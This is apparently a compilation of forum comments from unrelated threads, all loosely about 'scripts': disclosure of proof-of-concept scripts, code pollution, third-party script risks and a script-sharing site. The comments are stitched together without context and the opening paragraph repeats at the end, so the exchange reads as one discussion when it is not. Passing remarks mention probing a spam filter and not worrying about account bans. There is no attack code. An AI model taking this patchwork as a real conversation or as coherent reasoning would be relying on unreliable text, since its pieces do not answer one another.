It's not about deliberately hurting a company; if it's possible to make such a script, it will be made. Period.
The question is: do you want the script publicly available, or in the hands of your adversaries without anyone knowing? There's a third alternative: fix the problem.
Absolutely. I wrote such a script as a proof-of-concept and was yelled at because it was considered a 'security risk' for me to use company tools to write code (as a not-hired-for-programming employee) even though I already had access to literally all the company's data and their security practices were such that exfiltrating their data without being caught would have been trivial even if I never placed any code on their systems. The place was extremely dysfunctional and there were significant trust issues that were completely irrational and inconsistent. So a script that did this job was largely out of the question.
By publishing one single script - not likely. By publishing 1000 scripts - yes, you can, by polluting the public space and making it so much harder to find real supported code that can be relied upon. It's like throwing garbage on the street. One can won't do much, do it many times - and your neighborhood is a dump.
Same argument as with spam. Sending an email is not a crime, and sending an email to somebody you didn't know to ask them maybe they want to do business with you is not that bad. Do it couple of millions of times, and it breaks the whole system.
> What's actually harmful is the blind trust most developers have on adding dependencies without proper vetting.
Now comes the victim blaming. Nope, the fact the people should verify stuff does not absolve the guilt of those who put garbage into the public space. On the contrary, they are making the problem so much worse. And yes, there are means to deal with the problem, but again "you can clean up" is not an argument that absolves the guilt of somebody who throws trash around. They are doing bad thing, and should feel bad about it.
There are a hundred reasons to use this script and your responses merely lack imagination:
* Ancient script written by people at the company no longer here that may encode a bunch of assumptions and lots of dead code
* Personal script that is not to the level of full production
* Run untrusted script in a constrained environment to see at what stage it does something ugly - this will bypass obfuscation based on adding lots of dead code
That's like 3 things I already thought of while writing this comment. In like the 90 s it took me to compose this. These ostentatiously dramatic comments of yours aren't that interesting. Hopefully coming generations of engineers will look at your comments and be like "I wish I wasn't like that".
Yes. Not because you're doing anything wrong yourself, but because the cost to the user of allowing third party scripts is too high to tolerate nowadays.
The script's default message says that you are very sorry, twice.
But you're not really sorry are you? You just install the script rather than address the problem of data privacy.
Seems to me that it's not really beneficial for most small software publishers in that case. They can just use a variant of the script I posted above, I suppose.
The network can't do it if it is downloaded over TLS. A malicious host can already ship evil scripts. Malware on the local machine can already do worse that edit a script.
Very difficult to do in any kind of robust way. A script can run all kinds of things and use myriad forms of obfuscation, causing all kinds of obscure side effects.
If the application is blocked, can the author please openSource the script? If everyone starts using the script, I believe it will be quite impossible for CL to block it.
But then it's really not much better than spamming a .ps1 or .js script (handled by Windows Script Host by default), or even straight up executable as many already do.
If they're at that level then there's really not much you can do but avoid having them get the stuff in the first place.
Seems like this could be abused. A script wouldn't get frustrated, but it might have a handy way to test what content triggers Akismet. I presume I'm overlooking some mitigation strategy.
Do you care? You will only get noticed if your script actually fails and does bad work, and even then, worst case scenario you just get your account banned, no big loss.
Well from what I understand it's that third party scripts are a problem because they may behave maliciously and gain access to parts of the application. If the third party script is an open source project, doesn't that mitigate this?
Yeah, if you're polite about it people will understand. I don't think you'll have too much of a problem if you think up solutions before hand. So instead of waiting for it to happen, write down now what you will do, what you will say to people if the wrong script is posted, and make sure you're very consistent about it.
Also, remember, if someone's script is posted without permission they might be mad, but there is always the possibility they would have posted it themselves. So every time you're contacted about a script it wouldn't hurt to say: "We're sorry your script got posted. We'll take it down immediately. A lot of people found it really useful, would you consider putting it back up under your own name?"
The question is: do you want the script publicly available, or in the hands of your adversaries without anyone knowing? There's a third alternative: fix the problem.
reply